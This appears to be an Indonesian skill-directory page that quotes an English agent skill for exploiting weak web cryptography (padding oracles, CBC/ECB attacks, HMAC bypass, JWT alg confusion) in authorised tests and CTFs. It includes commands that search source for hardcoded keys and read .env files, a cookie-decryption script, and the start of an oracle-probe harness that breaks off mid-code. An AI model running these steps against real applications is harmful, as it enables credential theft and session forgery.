crypto
Fungsinya
Skill ini memandu agent menemukan enkripsi dan penandatanganan yang lemah di aplikasi web, seperti cookie atau token. Skill ini untuk penguji keamanan yang bekerja pada target resmi atau tantangan latihan.
Kapan dipakai
- βSaat cookie login atau token sebuah situs tampak terenkripsi dan Anda ingin menguji apakah bisa diubah.
- βSaat sebuah tantangan atau tinjauan keamanan menyebut masalah block cipher atau HMAC.
- βSaat Anda memerlukan cara terstruktur untuk mengonfirmasi kelemahan kriptografi sebelum mencoba memanfaatkannya.
Link skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/crypto/SKILL.mdSalin lalu tempelkan ke AI Anda (Claude, ChatGPT, atau Cursor) dan minta AI mengikuti instruksinya.
Cara pakai
Cara paling mudah: salin pesan ini dan tempelkan ke AI Anda. AI akan membaca skill dan mengikuti instruksinya.
Pesan siap tempel
Untuk Claude Code, Codex, atau Cursor: jalankan di folder proyek, lalu skill langsung terpasang.
Unduh SKILL.md lalu taruh di folder skill agen Anda.
Contoh permintaan ke AI
βBisakah Anda memeriksa apakah cookie terenkripsi di aplikasi saya bisa diubah atau didekode oleh pihak luar?β
5 skill baru setiap minggu. 1 menit baca.
Cara kerjanya
Agent mencari sinyal jelas yang menunjukkan apakah server menerima atau menolak data yang diubah, lalu memakai sinyal itu untuk menguji kelemahan dalam batas jumlah permintaan yang tetap.
Konten teknis (SKILL.md asli)
Teks asli dari pembuat, dalam bahasa Inggris, langsung dari GitHub.
Web Crypto Exploitation
Exploits applications that misuse symmetric ciphers (CBC/ECB), MACs (HMAC, hash-length extension), or token signers (JWT). The decisive trick is almost always: find the oracle, prove the oracle is real, then iterate within a hard request budget. Without the proven oracle the attack burns the cycle.
Step 0 β Key Discovery (Do Before ANY Network Attack)
Check if the application key is hardcoded in source. CTF challenge apps frequently embed keys in source code. If you have filesystem access to the app, run this before any network probe:
# Find app source in the workspace
find /workspace -name "*.py" -o -name "*.js" -o -name "*.rb" -o -name "*.php" 2>/dev/null | head -20
# Grep for hardcoded keys
grep -rn 'AES_KEY\|SECRET_KEY\|key\s*=\s*[b'"'"'"'"'"'"'"'"']\|password\s*=' /workspace/*/app/ 2>/dev/null | head -20
# Also check environment files
cat /workspace/*/.env 2>/dev/null; cat /workspace/*/app/.env 2>/dev/null
If the key is found, decrypt offline immediately β no oracle, no network requests:
import base64
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding as crypto_padding
KEY = b'C' * 32 # replace with discovered key
cookie = "<base64-cookie-from-browser>"
raw = base64.b64decode(cookie)
iv, ct = raw[:16], raw[16:]
cipher = Cipher(algorithms.AES(KEY), modes.CBC(iv))
pt = cipher.decryptor().update(ct) + cipher.decryptor().finalize()
# Remove PKCS7 padding
unpadder = crypto_padding.PKCS7(128).unpadder()
plaintext = unpadder.update(pt) + unpadder.finalize()
print("plaintext:", plaintext)
Only proceed to the oracle-based attack below if no key is found in source.
Recognition Signals
Trigger this skill when ANY of the following are present:
- Base64 cookie / token whose decoded length is a multiple of 16 (AES-CBC) or 8 (DES/3DES). Length boundaries are the giveaway:
len(b64decode(token)) % 16 == 0and not 32 or 48 β likely 1-2 blocks of CBC;% 16 == 0with 32-64 bytes β IV+ciphertext pattern. - Distinct error responses for "invalid padding" vs "invalid auth/decryption". Status code, body, length, or even response time differences across the two failure modes ARE the oracle. If the two modes look identical, no oracle.
- JWT in
Authorization: Bearer <three-base64-segments-separated-by-dots>. Always inspectalgheader (alg=none,alg=HS256with public-key confusion,alg=RS256βHS256substitution). - Repeated 16-byte ciphertext blocks within a single token β direct ECB tell. Decode base64, slice into 16-byte blocks, look for duplicates.
- Server returns separate encrypted blob + tag/HMAC concatenated β candidate for HMAC bypass / hash-length extension if the MAC scheme is weak (e.g.
MD5(secret || message)). - Challenge tag includes
crypto,cipher,oracle,captcha,encrypted_captcha,padding,hmac_bypass,jwt,length_extension.
Confirm-Oracle Gate
STOP β before iterating any payload, prove the oracle is real. The single most common mis-allocation here is hammering thousands of padding-oracle requests against a server whose two error modes are actually identical. The gate is one in-file probe that issues exactly two requests and prints both responses side-by-side.
Layout detection (run before the gate): Decode the token and determine the IV/CT layout. AES-CBC tokens always use IV(16) || CT(16 * N) β the first 16 bytes are always the IV. Confirm:
import base64
raw = base64.b64decode("<TOKEN>")
print(f"total bytes: {len(raw)}, blocks: {len(raw)//16}")
# len==32 β IV(16) + 1 ciphertext block (16 bytes of plaintext)
# len==48 β IV(16) + 2 ciphertext blocks (32 bytes of plaintext)
# len==64 β IV(16) + 3 ciphertext blocks (48 bytes of plaintext)
# The IV is ALWAYS raw[:16]. Ciphertext is raw[16:].
Also identify the correct cookie/parameter name. Check the response headers from a GET request to confirm the cookie name:
curl -sv "$TARGET/" 2>&1 | grep -i 'set-cookie'
Use that exact cookie name (e.g. captcha, session, token) in every subsequent request.
timeout 60 python3 -u -c '
import base64, requests, sys
URL = "https://<TARGET>/decrypt"
TOKEN = "<base64-cookie-or-token-from-recon>"
ct = bytearray(base64.b64decode(TOKEN))
# Probe A: flip the LAST byte of the SECOND-TO-LAST block (corrupts plaintext padding of last block)
flipped = bytearray(ct)
flipped[-1
Pertanyaan umum
Apakah skill ini memerlukan kunci rahasia aplikasi?
Tidak, tetapi skill ini lebih dulu memeriksa apakah kunci itu terekspos di kode sumber. Jika ya, skill bisa mendekripsi data secara offline tanpa mengirim permintaan.
Mengapa skill menetapkan batas permintaan?
Anggaran permintaan yang tetap menjaga pengujian agar tidak berjalan terlalu lama atau membanjiri target.
Jenis enkripsi apa saja yang dicakup?
Kasus umum seperti block cipher CBC dan ECB, pemeriksaan HMAC, dan penandatanganan JWT.
Detail
Deskripsi asli dari pembuat
Web crypto exploitation β padding-oracle (Vaudenay), AES-CBC bit-flipping / IV manipulation, AES-ECB pattern attacks (cut-and-paste, prefix/suffix recovery), HMAC bypass, hash-length extension, JWT alg confusion. Covers detection signals, working in-file Python harnesses (concurrent.futures, timeout=5, python3 -u, bounded request budget), and the confirm-oracle gate that must fire before iteration.
Popularitas
- Bintang GitHub
- 6.5k
- Peringkat
- #14056
- Lisensi
- Apache-2.0
- Diperbarui
- 1/11/2026
Komentar
- β¦
Skill lain dari repositori ini
detector-overview
6.5kMembantu agent Anda membaca kode yang ditandai pemindai dan memutuskan titik mana yang benar-benar bug keamanan dan mana yang alarm palsu.
exploiter-overview
6.5kMembantu agent Anda menggabungkan beberapa kelemahan keamanan yang terkonfirmasi menjadi satu rantai uji dan memeriksa sejauh mana rantai itu bisa mencapai.
llm-redteam-overview
6.5kMembantu agent Anda menemukan panduan red-team AI yang tepat untuk sebuah uji, mencakup 15 kelompok taktik dari prompt injection sampai penyalahgunaan model.
aatmf-t01-prompt-injection
6.5kMenjelaskan prompt injection, yaitu instruksi tersembunyi yang berusaha mengalahkan sistem AI, agar penguji keamanan dapat memeriksanya.
Skill serupa
reverse-engineer-anything
422kMembantu agent Anda memeriksa aplikasi dan paket yang sudah dirilis untuk menjelaskan fitur, membandingkan versi, atau memandu pembangunan ulang dengan alat REA.
1password
394kMembantu agent Anda mengatur CLI 1Password, masuk, serta membaca atau menyisipkan rahasia tanpa menampilkan nilainya di chat.
healthcheck
394kMembantu agent Anda mengaudit komputer atau server OpenClaw dari risiko keamanan seperti SSH, firewall, pembaruan, dan cadangan, lalu menyarankan perbaikan aman.